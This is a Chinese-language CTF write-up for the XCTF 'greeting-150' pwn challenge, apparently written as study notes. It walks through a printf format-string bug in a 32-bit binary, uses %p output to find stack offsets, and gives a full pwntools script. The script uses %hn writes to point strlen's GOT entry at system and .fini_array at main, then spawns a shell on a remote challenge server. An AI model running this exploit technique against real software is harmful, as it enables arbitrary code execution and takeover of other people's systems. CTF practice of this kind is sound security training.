[*] '/home/squirrel/桌面/target'Arch: i386-32-littleRELRO: No RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x8048000)
看源码
int __cdecl main(int argc, const char **argv, const char **envp){char s[64]; // [esp+1Ch] [ebp-84h] BYREFchar v5[64]; // [esp+5Ch] [ebp-44h] BYREFunsigned int v6; // [esp+9Ch] [ebp-4h]v6 = __readgsdword(0x14u);printf("Please tell me your name... ");if ( !getnline(v5, 64) )return puts("Don't ignore me ;( ");sprintf(s, "Nice to meet you, %s :)\n", v5);return printf(s); //fmt loophole}size_t __cdecl getnline(char *s, int n)// v5 64{char *v3; // [esp+1Ch] [ebp-Ch]fgets(s, n, stdin);v3 = strchr(s, 10);//这步我实在看不懂干啥的,感觉没啥用if ( v3 )*v3 = 0;return strlen(s);}
这里补充几个函数
char * strchr(char * str, char/int c)在字符串str中寻找字符C第一次出现的位置,并返回其位置(地址指针),若失败则返回NULL;
char * fgets(char * s, int n,FILE *stream);s: 字符型指针,指向存储读入数据的缓冲区的地址。n: 从流中读入n-1个字符stream : 指向读取的流。
sprintf():函数功能:把格式化的数据写入某个字符串函数原型:int sprintf( char *buffer, const char *format [, argument] … );返回值:字符串长度(strlen)
这里注意到调用strlen的方法和调用system是一样的,我们可以将strlen的got表劫持为system的plt表,然后输入binsh就调用了,那么没有栈溢出,怎么第二次回到main函数输入binsh呢,这就要通过(为什么是sys的plt表,因为system没用过,你没法得到got表)
.fini_array:08049934 ; ELF Termination Function Table.fini_array:08049934 ; ===========================================================================.fini_array:08049934.fini_array:08049934 ; Segment type: Pure data.fini_array:08049934 ; Segment permissions: Read/Write.fini_array:08049934 _fini_array segment dword public 'DATA' use32.fini_array:08049934 assume cs:_fini_array.fini_array:08049934 ;org 8049934h.fini_array:08049934 __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux.fini_array:08049934 ; DATA XREF: __libc_csu_init+18↑o.fini_array:08049934 _fini_array ends ; Alternative name is '__init_array_end'.fini_array:08049934
这个字段来进行修改,函数结束后会调用这个函数指针
Nice to meet you, //这有18个字节输入printf的其实是Nice to meet you, +payload32位操作系统是4字节4字节向下寻找,我们需要补齐使其位于20字节
那么接下来要算偏移了
这里的知识点是fmt改写大地址
上张图
![xctf-pwn-高手进阶区-greeting-150 [recorded] - 图1](/uploads/projects/squirre17@qqmhf7/c96a92edb432a7dfd3f97ec4332d6c05.png)
hhn 写入的就是单字节,hn 写入的就是双字节
squirrel@squirrel-virtual-machine:~/桌面$ ./targetHello, I'm nao!Please tell me your name... AAAA_1.%p_2.%p_3.%p_4.%p_5.%p_6.%p_7.%p_8.%p_9.%p_10.%p_11.%p_12.%p_13.%p_14.%p 11Nice to meet you, AAAA_1.0x80487d0_2.0xffaa809c_3.(nil)_4.(nil)_5.(nil)_6.(nil)_7.0x6563694e_8.0x206f7420_9.0x7465656d_10.0x756f7920_11.0x4141202c_1 :)
明显可以看到不对齐,我们现在加两个字节之后,偏移就是12了
一个注意点是str不能和比特流相加,要encode(‘utf-8’)
第二个注意点就是
from pwn import*context(os='Linux',arch='amd64',log_level = 'debug')#p=process('./target')p=remote('111.200.241.244',55363)system_plt=0x08048490main_addr =0x080485EDfini_array=0x08049934strlen_got=0x08049A54p.recvuntil('Please tell me your name... ')#system_plt=8490 system_plt+2=0804payload=b'a'*2payload+=p32(strlen_got+2)+p32(strlen_got)+p32(fini_array)num=2020#0x804-0x20(18+2+3*4)k='%'+str(num)+'c%12$hn'payload+=k.encode('utf-8')num=31884#0x8490-0x804k='%'+str(num)+'c%13$hn'payload+= k.encode('utf-8')num=349#0x85E0-0x8490k='%'+str(num)+'c%14$hn'payload+= k.encode('utf-8')print(len(payload))p.sendline(payload)p.recvuntil('Please tell me your name... ')p.sendline('/bin/sh')p.interactive()#aaAAAA_1.%p_2.%p_3.%p_4.%p_5.%p_6.%p_7.%p_8.%p_9.%p_10.%p_11.%p_12.%p_13.%p_14.%p 12
这里其实还有一个问题,为什么strlen必须要覆盖高位和Fini——array不需要,我也不知道,实验发现,如果需要覆盖fini的高位,需要67bytes,emmm,题目只给了65
